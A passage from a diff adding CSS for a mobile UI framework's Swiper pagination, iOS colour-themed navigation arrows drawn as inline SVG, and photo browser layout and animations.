absolute; + text-align: center; + -webkit-transition: 300ms opacity; + transition: 300ms opacity; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + z-index: 10; +} +.swiper-pagination.swiper-pagination-hidden { + opacity: 0; +} +.swiper-pagination-fraction, +.swiper-pagination-custom, +.swiper-container-horizontal > .swiper-pagination-bullets { + bottom: 10px; + left: 0; + width: 100%; +} +.swiper-pagination-bullets-dynamic { + overflow: hidden; + font-size: 0; +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + -webkit-transform: scale(0.33); + transform: scale(0.33); + position: relative; +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active { + -webkit-transform: scale(1); + transform: scale(1); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev { + -webkit-transform: scale(0.66); + transform: scale(0.66); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev { + -webkit-transform: scale(0.33); + transform: scale(0.33); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next { + -webkit-transform: scale(0.66); + transform: scale(0.66); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next { + -webkit-transform: scale(0.33); + transform: scale(0.33); +} +.swiper-pagination-bullet { + width: 8px; + height: 8px; + display: inline-block; + border-radius: 100%; + background: #000; + opacity: 0.2; +} +button.swiper-pagination-bullet { + border: none; + margin: 0; + padding: 0; + -webkit-box-shadow: none; + box-shadow: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} +.swiper-pagination-clickable .swiper-pagination-bullet { + cursor: pointer; +} +.swiper-pagination-bullet-active { + opacity: 1; +} +.swiper-container-vertical > .swiper-pagination-bullets { + right: 10px; + top: 50%; + -webkit-transform: translate3d(0px, -50%, 0); + transform: translate3d(0px, -50%, 0); +} +.swiper-container-vertical > .swiper-pagination-bullets .swiper-pagination-bullet { + margin: 6px 0; + display: block; +} +.swiper-container-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic { + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + width: 8px; +} +.swiper-container-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + display: inline-block; + -webkit-transition: 200ms top, 200ms -webkit-transform; + transition: 200ms top, 200ms -webkit-transform; + transition: 200ms transform, 200ms top; + transition: 200ms transform, 200ms top, 200ms -webkit-transform; +} +.swiper-container-horizontal > .swiper-pagination-bullets .swiper-pagination-bullet { + margin: 0 4px; +} +.swiper-container-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic { + left: 50%; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); + white-space: nowrap; +} +.swiper-container-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + -webkit-transition: 200ms left, 200ms -webkit-transform; + transition: 200ms left, 200ms -webkit-transform; + transition: 200ms transform, 200ms left; + transition: 200ms transform, 200ms left, 200ms -webkit-transform; +} +.swiper-pagination-progressbar { + background: rgba(0, 0, 0, 0.25); + position: absolute; +} +.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform: scale(0); + transform: scale(0); + -webkit-transform-origin: left top; + transform-origin: left top; +} +.swiper-container-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + -webkit-transform-origin: right top; + transform-origin: right top; +} +.swiper-container-horizontal > .swiper-pagination-progressbar, +.swiper-container-vertical > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite { + width: 100%; + height: 4px; + left: 0; + top: 0; +} +.swiper-container-vertical > .swiper-pagination-progressbar, +.swiper-container-horizontal > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite { + width: 4px; + height: 100%; + left: 0; + top: 0; +} +.swiper-lazy-preloader { + position: absolute; + left: 50%; + top: 50%; + z-index: 10; +} +.ios .swiper-lazy-preloader { + width: 32px; + height: 32px; + margin-left: -16px; + margin-top: -16px; +} +.ios .swiper-button-prev, +.ios .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next, +.ios .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-pagination-bullet-active { + background: #007aff; +} +.ios .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #007aff; +} +.ios .swiper-button-prev.color-red, +.ios .swiper-container-rtl .swiper-button-next.color-red, +.ios .color-theme-red .swiper-button-prev, +.ios .color-theme-red .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-red, +.ios .swiper-container-rtl .swiper-button-prev.color-red, +.ios .color-theme-red .swiper-button-next, +.ios .color-theme-red .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-red .swiper-pagination-bullet-active, +.ios .color-theme-red .swiper-pagination-bullet-active { + background: #ff3b30; +} +.ios .color-red .swiper-pagination-progressbar, +.ios .color-theme-red .swiper-pagination-progressbar, +.ios .color-red.swiper-pagination-progressbar, +.ios .color-theme-red.swiper-pagination-progressbar { + background: rgba(255, 59, 48, 0.25); +} +.ios .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff3b30; +} +.ios .swiper-button-prev.color-green, +.ios .swiper-container-rtl .swiper-button-next.color-green, +.ios .color-theme-green .swiper-button-prev, +.ios .color-theme-green .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-green, +.ios .swiper-container-rtl .swiper-button-prev.color-green, +.ios .color-theme-green .swiper-button-next, +.ios .color-theme-green .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-green .swiper-pagination-bullet-active, +.ios .color-theme-green .swiper-pagination-bullet-active { + background: #4cd964; +} +.ios .color-green .swiper-pagination-progressbar, +.ios .color-theme-green .swiper-pagination-progressbar, +.ios .color-green.swiper-pagination-progressbar, +.ios .color-theme-green.swiper-pagination-progressbar { + background: rgba(76, 217, 100, 0.25); +} +.ios .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #4cd964; +} +.ios .swiper-button-prev.color-blue, +.ios .swiper-container-rtl .swiper-button-next.color-blue, +.ios .color-theme-blue .swiper-button-prev, +.ios .color-theme-blue .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-blue, +.ios .swiper-container-rtl .swiper-button-prev.color-blue, +.ios .color-theme-blue .swiper-button-next, +.ios .color-theme-blue .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-blue .swiper-pagination-bullet-active, +.ios .color-theme-blue .swiper-pagination-bullet-active { + background: #007aff; +} +.ios .color-blue .swiper-pagination-progressbar, +.ios .color-theme-blue .swiper-pagination-progressbar, +.ios .color-blue.swiper-pagination-progressbar, +.ios .color-theme-blue.swiper-pagination-progressbar { + background: rgba(0, 122, 255, 0.25); +} +.ios .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #007aff; +} +.ios .swiper-button-prev.color-pink, +.ios .swiper-container-rtl .swiper-button-next.color-pink, +.ios .color-theme-pink .swiper-button-prev, +.ios .color-theme-pink .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-pink, +.ios .swiper-container-rtl .swiper-button-prev.color-pink, +.ios .color-theme-pink .swiper-button-next, +.ios .color-theme-pink .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-pink .swiper-pagination-bullet-active, +.ios .color-theme-pink .swiper-pagination-bullet-active { + background: #ff2d55; +} +.ios .color-pink .swiper-pagination-progressbar, +.ios .color-theme-pink .swiper-pagination-progressbar, +.ios .color-pink.swiper-pagination-progressbar, +.ios .color-theme-pink.swiper-pagination-progressbar { + background: rgba(255, 45, 85, 0.25); +} +.ios .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff2d55; +} +.ios .swiper-button-prev.color-yellow, +.ios .swiper-container-rtl .swiper-button-next.color-yellow, +.ios .color-theme-yellow .swiper-button-prev, +.ios .color-theme-yellow .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-yellow, +.ios .swiper-container-rtl .swiper-button-prev.color-yellow, +.ios .color-theme-yellow .swiper-button-next, +.ios .color-theme-yellow .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-yellow .swiper-pagination-bullet-active, +.ios .color-theme-yellow .swiper-pagination-bullet-active { + background: #ffcc00; +} +.ios .color-yellow .swiper-pagination-progressbar, +.ios .color-theme-yellow .swiper-pagination-progressbar, +.ios .color-yellow.swiper-pagination-progressbar, +.ios .color-theme-yellow.swiper-pagination-progressbar { + background: rgba(255, 204, 0, 0.25); +} +.ios .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffcc00; +} +.ios .swiper-button-prev.color-orange, +.ios .swiper-container-rtl .swiper-button-next.color-orange, +.ios .color-theme-orange .swiper-button-prev, +.ios .color-theme-orange .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-orange, +.ios .swiper-container-rtl .swiper-button-prev.color-orange, +.ios .color-theme-orange .swiper-button-next, +.ios .color-theme-orange .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-orange .swiper-pagination-bullet-active, +.ios .color-theme-orange .swiper-pagination-bullet-active { + background: #ff9500; +} +.ios .color-orange .swiper-pagination-progressbar, +.ios .color-theme-orange .swiper-pagination-progressbar, +.ios .color-orange.swiper-pagination-progressbar, +.ios .color-theme-orange.swiper-pagination-progressbar { + background: rgba(255, 149, 0, 0.25); +} +.ios .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff9500; +} +.ios .swiper-button-prev.color-gray, +.ios .swiper-container-rtl .swiper-button-next.color-gray, +.ios .color-theme-gray .swiper-button-prev, +.ios .color-theme-gray .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-gray, +.ios .swiper-container-rtl .swiper-button-prev.color-gray, +.ios .color-theme-gray .swiper-button-next, +.ios .color-theme-gray .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-gray .swiper-pagination-bullet-active, +.ios .color-theme-gray .swiper-pagination-bullet-active { + background: #8e8e93; +} +.ios .color-gray .swiper-pagination-progressbar, +.ios .color-theme-gray .swiper-pagination-progressbar, +.ios .color-gray.swiper-pagination-progressbar, +.ios .color-theme-gray.swiper-pagination-progressbar { + background: rgba(142, 142, 147, 0.25); +} +.ios .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #8e8e93; +} +.ios .swiper-button-prev.color-white, +.ios .swiper-container-rtl .swiper-button-next.color-white, +.ios .color-theme-white .swiper-button-prev, +.ios .color-theme-white .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-white, +.ios .swiper-container-rtl .swiper-button-prev.color-white, +.ios .color-theme-white .swiper-button-next, +.ios .color-theme-white .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-white .swiper-pagination-bullet-active, +.ios .color-theme-white .swiper-pagination-bullet-active { + background: #ffffff; +} +.ios .color-white .swiper-pagination-progressbar, +.ios .color-theme-white .swiper-pagination-progressbar, +.ios .color-white.swiper-pagination-progressbar, +.ios .color-theme-white.swiper-pagination-progressbar { + background: rgba(255, 255, 255, 0.25); +} +.ios .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffffff; +} +.ios .swiper-button-prev.color-black, +.ios .swiper-container-rtl .swiper-button-next.color-black, +.ios .color-theme-black .swiper-button-prev, +.ios .color-theme-black .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-black, +.ios .swiper-container-rtl .swiper-button-prev.color-black, +.ios .color-theme-black .swiper-button-next, +.ios .color-theme-black .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-black .swiper-pagination-bullet-active, +.ios .color-theme-black .swiper-pagination-bullet-active { + background: #000000; +} +.ios .color-black .swiper-pagination-progressbar, +.ios .color-theme-black .swiper-pagination-progressbar, +.ios .color-black.swiper-pagination-progressbar, +.ios .color-theme-black.swiper-pagination-progressbar { + background: rgba(0, 0, 0, 0.25); +} +.ios .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #000000; +} +/* === Photo Browser === */ +.photo-browser { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 400; +} +.photo-browser-standalone.modal-in { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: photo-browser-in 400ms; + animation: photo-browser-in 400ms; +} +.photo-browser-standalone.modal-out { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: photo-browser-out 400ms; + animation: photo-browser-out 400ms; +} +.photo-browser-standalone.modal-out.swipe-close-to-bottom, +.photo-browser-standalone.modal-out.swipe-close-to-top { + -webkit-animation: none; + animation: none; +} +.photo-browser-popup.modal-out.swipe-close-to-bottom, +.photo-browser-popup.modal-out.swipe-close-to-top { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.photo-browser-popup.modal-out.swipe-close-to-bottom { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.photo-browser-popup.modal-out.swipe-close-to-top { + -webkit-transform: translate3d(0, -100vh, 0); + transform: translate3d(0, -100vh, 0); +} +.page.photo-browser-page { + background: none; +} +.photo-browser-popup { + background: none; +} +.photo-browser-exposed .navbar, +.photo-browser-exposed .toolbar { + opacity: 0; + visibility: hidden; + pointer-events: none; +} +.photo-browser-exposed .photo-browser-swiper-container { + background: #000; +} +.photo-browser-of { + margin: 0 5px; +} +.photo-browser-captions { + pointer-events: none; + position: absolute; + left: 0; + width: 100%; + bottom: 0; + z-index: 10; + opacity: 1; + -webkit-transition: 400ms; + transition: 400ms; +} +.photo-browser-captions.photo-browser-captions-exposed { + opacity: 0; +} +.photo-browser-caption { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition: 300ms; + transition: 300ms; + position: absolute; + bottom: 0; + left: 0; + opacity: 0; + padding: 4px 5px; + width: 100%; + text-align: center; + color: #fff; + background: rgba(0, 0, 0, 0.8); +} +.photo-browser-caption:empty { + display: none; +} +.photo-browser-caption.photo-browser-caption-active { + opacity: 1; +} +.photo-browser-captions-light .photo-browser-caption { + background: rgba(255, 255, 255, 0.8); + color: #000; +} +.photo-browser-captions-dark .photo-browser-caption { + color: #fff; +} +.photo-browser-exposed .photo-browser-caption { + color: #fff; + background: rgba(0, 0, 0, 0.8); +} +.photo-browser-swiper-container { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + overflow: hidden; + background: #fff; + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transition-property: background-color; + transition-property: background-color; +} +.photo-browser-prev.swiper-button-disabled, +.photo-browser-next.swiper-button-disabled { + opacity: 0.3; +} +.photo-browser-slide { + width: 100%; + height: 100%; + position: relative; + overflow: hidden; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.photo-browser-slide.photo-browser-transitioning { + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.photo-browser-slide span.swiper-zoom-container { + display: none; +} +.photo-browser-slide img { + width: auto; + height: auto; + max-width: 100%; + max-height: 100%; + display: none; +} +.photo-browser-slide.swiper-slide-active span.swiper-zoom-container, +.photo-browser-slide.swiper-slide-next span.swiper-zoom-container, +.photo-browser-slide.swiper-slide-prev span.swiper-zoom-container { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.photo-browser-slide.swiper-slide-active img, +.photo-browser-slide.swiper-slide-next img, +.photo-browser-slide.swiper-slide-prev img { + display: inline; +} +.photo-browser-slide.swiper-slide-active.photo-browser-slide-lazy .preloader, +.photo-browser-slide.swiper-slide-next.photo-browser-slide-lazy .preloader, +.photo-browser-slide.swiper-slide-prev.photo-browser-slide-lazy .preloader { + display: block; +} +.photo-browser-slide iframe { + width: 100%; + height: 100%; +} +.photo-browser-slide .preloader { + display: none; + position: absolute; + width: 42px; + height: 42px; + margin-left: -21px; + margin-top: -21px; + left: 50%; + top: 50%; +} +.photo-browser-dark .photo-browser-swiper-container, +.photo-browser-page-dark .photo-browser-swiper-container { + background: #000; +} +@-webkit-keyframes photo-browser-in { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } +} +@keyframes photo-browser-in { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } +} +@-webkit-keyframes photo-browser-out { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } +} +@keyframes photo-browser-out { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } +} +.ios .toolbar ~ .photo-browser-captions { + bottom: 44px; + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.ios .toolbar ~ .photo-browser-captions.photo-browser-captions-exposed { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.ios .photo-browser-exposed .toolbar ~ .photo-browser-captions { + -webkit-transform: translate3d(0, 44px, 0); + transform: translate3d(0, 44px, 0); +} +.ios .photo-browser-page .toolbar { + -webkit-transform: none; + transform: none; +} +.ios .view.with-photo-browser-page-exposed .navbar { + opacity: 0; +} +.ios .photo-browser-page .navbar, +.ios .view.with-photo-browser-page .navbar, +.ios .photo-browser-page .toolbar, +.ios .view.with-photo-browser-page .toolbar { + background: rgba(247, 247, 248, 0.95); + -webkit-transition: 400ms; + transition: 400ms; +} +.ios .photo-browser-dark .navbar, +.ios .photo-browser-page-dark .navbar, +.ios .view.with-photo-browser-page-dark .navbar, +.ios .photo-browser-dark .toolbar, +.ios .photo-browser-page-dark .toolbar, +.ios .view.with-photo-browser-page-dark .toolbar { + background: 